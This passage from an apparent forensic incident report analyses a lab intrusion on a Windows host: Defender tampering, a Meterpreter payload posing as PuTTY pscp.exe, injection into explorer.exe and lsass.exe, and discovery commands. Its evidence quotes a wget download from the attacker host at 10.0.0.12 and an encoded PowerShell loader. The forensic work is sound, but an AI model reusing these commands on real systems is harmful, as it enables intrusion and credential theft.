2023-11-10 10:17:54.028923	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:8364,ProcessStart:133440850738826349 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:17:53.875Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23722	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 10:19:36.431470	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:4140,ProcessStart:133440851762938641 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:19:36.274Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23726	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 10:19:41.471520	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:4140,ProcessStart:133440851762938641 Microsoft-Windows-Windows Defender/Operational 1117 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform performed an action to protect your system from malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:19:36.274Z | Process	evtxecmd/ evtxecmd_0.csv#23727	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 10:16:44.708000	Detection Hayabusa	critical Defender Alert (Severe) |	hayabusa/ hayabusa_0.jsonl#5892	C:\Windows\system32\ winevt\logs\Microsoft-

UTC	Artifact	Detail	Reference	Original source
		{"Threat":"Trojan:Win64/Meterpreter.E","Severity":"Severe","Type":"Trojan","User":"DESKTOP-KJ81A5A\\medmondson","Path":"file:_C:\\Users\\medmondson\\Downloads\\pscp.exe; webfile:_C:\\Users\\medmondson\\Downloads\\pscp.exe|http://10.0.0.12:8080/pscp.exe|pid:8820,ProcessStart:133440850044617643","Proc":"C:\\Windows\\System32		Windows-Windows Defender %4Operational.evtx
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe size=986624	mftecmd_mft/ mft.csv#115203	C:\$MFT
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/ mft.csv#115204	C:\$MFT
2023-11-10 10:16:38.642518	$MFT	$SI creation (B) ; $SI modification (M) ; $SI MFT change (C) ; $FN access (A) C:\Users\medmondson\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\A6816M2V\pscp[1].exe size=986624	mftecmd_mft/ mft.csv#114957	C:\$MFT

F-005: Execution of C:\Payloads\pscp.exe (Meterpreter masquerading as PuTTY PSCP) and migration/injection into a spawned explorer.exe, then into lsass.exe

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx
Category	execution / privilege escalation / defense evasion
MITRE ATT&CK	T1055, T1036.005, T1059.001, T1003.001
Period (UTC)	2023-11-10 11:03:09.877971 → 2023-11-10 11:03:56.300284

Observed facts

PowerShell/Operational 4104: 'cd C:\Payloads\' (11:03:03), 'ls' (11:03:04), '.\pscp.exe' (11:03:09.877, RecordID 57). Sysmon EID 1 (RecordID 305) 11:03:09.884 UTC: Image C:\Payloads\pscp.exe, PID 2196, ProcessGuid {e6e9f951-0ded-654e-8f01-000000000500}, FileVersion 'Release 0.79', Description 'Command-line SCP/SFTP client', Product 'PuTTY suite', Company 'Simon Tatham', OriginalFileName PSCP, IntegrityLevel High, LogonId 0x15347, MD5=DED9E58DD95A88A4BEE89B74A65F05F1, SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931, IMPHASH=ADD361A4F3939AF38D11873F1D74BDED; parent powershell.exe PID 1088 {e6e9f951-0de1-654e-8801-000000000500}. Sysmon EID 1 (RecordID 306) 11:03:09.989: C:\Windows\explorer.exe, CommandLine 'explorer.exe', PID 7324, ProcessGuid {e6e9f951-0ded-654e-9001-000000000500}, parent C:\Payloads\pscp.exe {…8f01…} (MD5=9FBBF189473A313776019D2EAA72A47A, SHA256=CEF64201A97E08834F5C8952907A1719531A7D99B53309CB2E2956F40CFF3486 = legitimate explorer binary). Sysmon EID 8 CreateRemoteThread (RecordID 307) 11:03:09.990: source pscp.exe 2196 → target explorer.exe 7324, StartAddress 0x0000000000B30000, no StartModule. Sysmon EID 8 (RecordID 309) 11:03:56.300: source explorer.exe 7324 {…9001…} → target C:\Windows\system32\lsass.exe PID 648 {e6e9f951-0900-654e-0c00-000000000500}, StartAddress 0x0000028F43080000. Prefetch PSCP.EXE-1DCA12FC.pf: RunCount 1, LastRun 11:03:09.900 UTC.

Analysis

pscp.exe is the malicious executable (Defender signature Meterpreter, version info copied from PuTTY pscp 0.79 = masquerading). It spawned a new, non-shell explorer.exe (parent pscp.exe, not userinit; the legitimate shell is PID 2432 {e6e9f951-0907-654e-5c00-000000000500}) and injected code into it via CreateRemoteThread at an unbacked address: this is the Meterpreter 'migrate' target. From explorer 7324 a remote thread was created in lsass.exe 46 s later, consistent

with a further migration to SYSTEM or credential access (e.g. hashdump/kiwi) — the purpose of the lsass thread is an interpretation. Detections (Hayabusa 'Proc Injection') are on the same Sysmon source; Prefetch provides independent confirmation of execution.

Evidence (8)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.989870	Event logs (EVTX)	EVTX event explorer.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: - | MD5=9FBBF189473A313776019D2EAA72A47A,SHA256=CEF64201A97E08834F5C8952907A1719531A7D99B53309CB2E2956F40CFF3486,IMPHASH=D505016A935B17367AA0263582F3F1E2 | ParentProcess: C:\Payloads\p	evtxecmd/ evtxecmd_0.csv#18651	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.990398	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000000000B30000 | RuleName: - | SourceProcessID: 2196, SourceProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | SourceImage: C:\Payloads\pscp.exe | TargetProcessID: 7324, TargetProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | TargetImage: C	evtxecmd/ evtxecmd_0.csv#18652	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:56.300284	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000028F43080000 | RuleName: - | SourceProcessID: 7324, SourceProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | SourceImage: C:\Windows\explorer.exe | TargetProcessID: 648, TargetProcessGUID: e6e9f951-0900-654e-0c00-000000000500 | TargetImage:	evtxecmd/ evtxecmd_0.csv#18654	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.877971	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: .\pscp.exe	evtxecmd/ evtxecmd_0.csv#8742	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\PSCP.EXE-1DCA12FC.pf
2023-11-10 11:03:09.990000	Detection Hayabusa	medium Proc Injection | {"SrcProc":"C:\\Payloads\\pscp.exe","TgtProc":"C:\\Windows\\explorer.exe","SrcPID":2196,"SrcPGUID":"E6E9F951-0DED-654E-8F01-000000000500","TgtPID":7324,"TgtPGUID":"E6E9F951-0DED-654E-9001-000000000500"} | {"NewThreadId":5968,"RuleName":"-","SourceUser":"DESKTOP-KJ81A5A\\medmondson","StartAddress":"0x0000000000B30000","StartFunction	hayabusa/ hayabusa_0.jsonl#1574	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:56.300000	Detection Hayabusa	medium Proc Injection | {"SrcProc":"C:\\Windows\\explorer.exe","TgtProc":"C:\\Windows\\system32\\lsass.exe","SrcPID":7324,"SrcPGUID":"E6E9F951-0DED-654E-9001-000000000500","TgtPID":648,"TgtPGUID":"E6E9F951-0900-654E-0C00-000000000500"} | {"NewThreadId":2988,"RuleName":"-","SourceUser":"DESKTOP-KJ81A5A\\medmondson","StartAddress":"0x0000028F43080000","Star	hayabusa/ hayabusa_0.jsonl#1575	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

F-004: Windows Defender tampering: Tamper Protection toggled, path exclusion C:\Payloads\, cloud reporting disabled, real-time protection disabled

Severity	**High**
Confidence	confirmed
Independent sources	artifact:defender (exclusions) artifact:registry (recmd kroll) evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows defender%4operational.evtx
Category	defense evasion
MITRE ATT&CK	T1562.001
Period (UTC)	2023-11-10 10:17:40.345882 → 2023-11-10 11:02:12.400713

Observed facts

Defender/Operational EID 5007: 10:17:40 SpyNetReporting 0x2→0x0 (RecordID 18); 10:17:41 SubmitSamplesConsent 0x1→0x0 (19); 10:17:43 Features\TamperProtection 0x1→0x0 (20) then back to 0x1 at 10:17:45 (21); 10:19:24.979 new value HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Payloads\ = 0x0 (RecordID 25, Zircolite 'Windows Defender Exclusions Added'); PowerShell Defender CIM module (MSFT_MpPreference cmdletization) loaded 10:19:09–10:19:10 (Hayabusa 'Potentially Malicious PwSh', PS/Operational 4104 RecordIDs 7–20). EID 5001 Real-time protection disabled at 10:19:46.897 (RecordID 29) and again at 11:02:12.400 (RecordID 53). Sysmon EID 13 (RecordID 292) 11:02:11.567 HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = DWORD 1 written by MsMpEng.exe (PID 6388) as SYSTEM. Registry (Dissect) Defender exclusion Paths = C:\Payloads\ (key mtime 10:52:49 UTC).

Analysis

True positive (deliberate impairment of defenses, consistent with the lab scenario). Sequence: after two blocked downloads the user turned off cloud reporting/sample submission, added the C:\Payloads\ exclusion via the Defender settings (MpPreference), disabled real-time protection, then re-downloaded pscp.exe into C:\Payloads\. Second RTP disable at 11:02:12, seconds before pscp.exe execution at 11:03:09. MsMpEng writing DisableRealtimeMonitoring is the expected result of a UI/PowerShell toggle, not an attacker process writing the key directly. It cannot be told whether the actor was the lab operator acting as the "attacker" or a third party; it is done interactively in the medmondson session.

Evidence (13)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:17:40.345882	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0	evtxecmd/ evtxecmd_0.csv#23717	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10 10:17:41.861519	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x0	evtxecmd/ evtxecmd_0.csv#23718	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10 10:17:43.064472	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x0	evtxecmd/ evtxecmd_0.csv#23719	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10	Event logs (EVTX)	EVTX event	evtxecmd/	C:\Windows\system32\

UTC	Artifact	Detail	Reference	Original source
10:19:24.979452		Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\ Exclusions\Paths\C:\Payloads\ = 0x0	evtxecmd_0.csv#23724	winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 10:19:46.897377	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | %%827	evtxecmd/ evtxecmd_0.csv#23728	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 11:02:12.400713	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | Windows Defender Antivirus	evtxecmd/ evtxecmd_0.csv#23752	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 11:02:11.567907	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 6388, ProcessGUID: e6e9f951-0b81-654e-1901-000000000500 | RuleName: T1089,Tamper-Defender | Image: C:\ProgramData\Microsoft\Windows Defender\ platform\4.18.23100.2009-0\MsMpEng.exe | EventType: SetValue | TargetObject: HKLM\SOFTWARE\Microsoft\	evtxecmd/ evtxecmd_0.csv#18637	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 10:52:49.247112	Defender (exclusions)	exclusion: regf_mtime type=Paths | value=C:\Payloads\	dissect/ defender.exclusions.jsonl #2	
2023-11-10 11:02:11.558959	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Real-Time Protection Threat Hunting | Windows Defender | DisableRealtimeMonitoring=1	recmd_kroll/ recmd_kroll_C.csv#1447	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Exclusions\Paths Threat Hunting | Windows Defender | C:\Payloads\=0	recmd_kroll/ recmd_kroll_C.csv#1456	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SpyNetReporting=0	recmd_kroll/ recmd_kroll_C.csv#1443	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SubmitSamplesConsent=0	recmd_kroll/ recmd_kroll_C.csv#1444	C:\Windows\system32\ config\SOFTWARE
2023-11-10 11:02:09.773548	Event logs (EVTX)	EVTX event consent.exe 6492 420 0000019A5C0280F0 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 5392, ProcessGUID: e6e9f951-0db1-654e-8301-000000000500 | RuleName: - | MD5=EE2A1C85C472F89B146CC8EE598CCCBC,SHA256=19FD0010DA92B654D1CA270247061A39EA13C0A58529FD8257A97E2EF7794911,IMPHASH=522D83761201075834F05037F5307949 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18635	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx

F-006: Meterpreter post-exploitation from injected explorer.exe: discovery commands (tracert, quser, tasklist), PowerShell extension (MSFConsole host, Invoke-DcSync) and download of 1.exe from 10.0.0.12:8080

Severity	**High**
Confidence	confirmed
Independent sources	artifact:$mft artifact:prefetch evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx evtx:windows powershell.evtx
Category	discovery / execution / command and control
MITRE ATT&CK	T1016, T1033, T1057, T1059.001, T1059.003, T1105
Period (UTC)	2023-11-10 11:04:13.885211 → 2023-11-10 11:11:23.852357

Observed facts

Sysmon EID 1: 11:04:13.885 cmd.exe PID 6600 {e6e9f951-0e2d-654e-9101-000000000500} parent explorer.exe 7324 {…9001…} (RecordID 310); children of cmd 6600: 'tracert -h' 11:04:39 {e6e9f951-0e47-654e-9301-…} (311), 'tracert -m 6 8.8.8.8' 11:05:01 {…0e5d-654e-9401…} (312), 'tracert -h 6 8.8.8.8' 11:05:12 {…0e68-654e-9501…} (313), 'quser' 11:05:41

PID 7752 {…0e85-654e-9601…} (314). Windows PowerShell 400/600/800 at 11:06:40 with HostName=MSFConsole, HostApplication=explorer.exe; PS/Operational 4104 at 11:06:40.890 'IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("…Add-WebTransport…")))' and script blocks defining Invoke-DcSync / Invoke-DcSyncAll / Invoke-DcSyncHashDump (RecordIDs 68–77; Hayabusa/Chainsaw/Zircolite 'Malicious PowerShell Commandlets', 'Uncommon PowerShell Hosts', 'Suspicious Non PowerShell WSMAN COM Provider'). Sysmon EID 1: 11:09:06 cmd.exe PID 5848 {e6e9f951-0f52-654e-ad01-000000000500} parent explorer 7324 {…9001…} (331); 11:09:10 'powershell' PID 736 {e6e9f951-0f56-654e-af01-000000000500} parent cmd 5848 (332); 4104 11:10:55 'wget http://10.0.0.12:8080/1.exe -o 1.exe' (RecordID 129); Sysmon EID 11 11:10:55.603 C:\Users\medmondson\1.exe created by powershell 736 (335); Sysmon EID 3 (336) powershell 736 10.0.0.124:50009 → 10.0.0.12:8080/tcp; 11:11:23 'tasklist' PID 8012 {e6e9f951-0fdb-654e-ba01-000000000500} parent cmd 5848 (337). Prefetch: TRACERT.EXE run 3 (11:04:39, 11:05:01, 11:05:12), QUSER.EXE 11:05:41, TASKLIST.EXE 11:11:23. $MFT: C:\Users\medmondson\1.exe entry 90508, 986,624 bytes, created 11:10:55.

Analysis

The cmd.exe children of the injected explorer.exe correspond to Meterpreter 'shell' channels; the MSFConsole host inside explorer.exe is the Meterpreter PowerShell extension (load powershell), whose bootstrap code includes the DcSync helper functions (their presence does not prove DcSync was executed; the host is a workgroup machine). Situational awareness: tracert (network path), quser (logged-on users), tasklist (processes). 1.exe has the same size as pscp.exe; no Prefetch, Amcache, Sysmon EID 1 or 4104 execution evidence for 1.exe was found, so it appears downloaded but not executed (Sysmon was active at the time). C2 IP 10.0.0.12 is confirmed for payload hosting (port 8080); no Sysmon EID 3 exists for pscp.exe/explorer 7324 itself, so the Meterpreter session port is not established at this stage (to pivot in SRUM / other sources).

Evidence (17)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:04:13.885211	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6600, ProcessGUID: e6e9f951-0e2d-654e-9101-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\ex	evtxecmd/ evtxecmd_0.csv#18655	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:04:39.859949	Event logs (EVTX)	EVTX event tracert -h Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2764, ProcessGUID: e6e9f951-0e47-654e-9301-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18656	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:01.056649	Event logs (EVTX)	EVTX event tracert -m 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7720, ProcessGUID: e6e9f951-0e5d-654e-9401-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18657	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:12.550053	Event logs (EVTX)	EVTX event tracert -h 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2180, ProcessGUID: e6e9f951-0e68-654e-9501-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9	evtxecmd/ evtxecmd_0.csv#18658	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy		
2023-11-10 11:05:41.182379	Event logs (EVTX)	EVTX event quser Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7752, ProcessGUID: e6e9f951-0e85-654e-9601-000000000500 | RuleName: - | MD5=3147F9B0C7089DD698778246E835C494,SHA256=6EE15E5B1311D501FBDAA15C9D1197BA2F99745EA5ABB3E724D598EE53D48A6E,IMPHASH=EA8421BD383CD44D7C13D5BBB67DDFA5 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18659	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:09:06.424384	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 5848, ProcessGUID: e6e9f951-0f52-654e-ad01-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\ex	evtxecmd/ evtxecmd_0.csv#18676	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:09:10.219150	Event logs (EVTX)	EVTX event powershell Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD330390769752481 | ParentProcess: C:\Windows\Sys	evtxecmd/ evtxecmd_0.csv#18677	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:10:55.607209	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: EXE | Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | TargetFilename: C:\Users\medmondson\1.exe	evtxecmd/ evtxecmd_0.csv#18680	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\Windows\System32\WindowsPowerShell\v1.0\powersh	evtxecmd/ evtxecmd_0.csv#18681	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:11:23.852357	Event logs (EVTX)	EVTX event tasklist Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 8012, ProcessGUID: e6e9f951-0fdb-654e-ba01-000000000500 | RuleName: - | MD5=80036C62EACEEFAC7F7DF133634321F5,SHA256=9F60240830FAF4DE590360561A6E249F5D0C41FF8AFBB9498BBE5C1A80ABD02C,IMPHASH=DCE1F3B1BD09BBAD166CE65677E33EDB | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18682	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/ evtxecmd_0.csv#8814	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx
2023-11-10 11:06:40.853693	Event logs (EVTX)	EVTX event Windows PowerShell 400 | PowerShell | Engine state is changed from None to Available | HostApplication=explorer.exe | HostName=MSFConsole | HostVersion=0.1	evtxecmd/ evtxecmd_0.csv#28055	C:\Windows\system32\winevt\logs\Windows PowerShell.evtx
2023-11-10 11:06:40.890383	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("DQpmdW5jdGlvbiBBZGQtV2ViVHJhbnNwb3J0IHsNCiAgPCMNCiAgICAuU1lOT1BTSVMNCiAgICAgIEFkZCBhIHdlYi1iYXNlZCB0cmFuc3BvcnQgKGh0dHAvcykgdG8	evtxecmd/ evtxecmd_0.csv#8744	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		gdG		
2023-11-10 11:04:39.853697	Prefetch	Execution (Prefetch, previous) TRACERT.EXE runs=3 hash=EC2ABA23 False	pecmd/ prefetch_0.csv#196	C:\Windows\prefetch\ TRACERT.EXE-EC2ABA23.pf
2023-11-10 11:05:41.181847	Prefetch	Execution (Prefetch, last) QUSER.EXE runs=1 hash=FE15F6D2 False	pecmd/ prefetch_0.csv#99	C:\Windows\prefetch\ QUSER.EXE-FE15F6D2.pf
2023-11-10 11:11:23.838148	Prefetch	Execution (Prefetch, last) TASKLIST.EXE runs=1 hash=2448BC7D False	pecmd/ prefetch_0.csv#193	C:\Windows\prefetch\ TASKLIST.EXE-2448BC7D.pf
2023-11-10 11:10:55.603703	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Users\medmondson\1.exe size=986624	mftecmd_mft/ mft.csv#119927	C:\$MFT

4.3 Program execution

I checked program execution in Prefetch (231 files), Amcache files and programs, ShimCache, BAM, UserAssist, MUICache, PCA, SRUM (app timeline, resource use, network usage), Sysmon EID 1/3/8, PowerShell 4103/4104/800 and the PSReadLine history.

Malicious executable
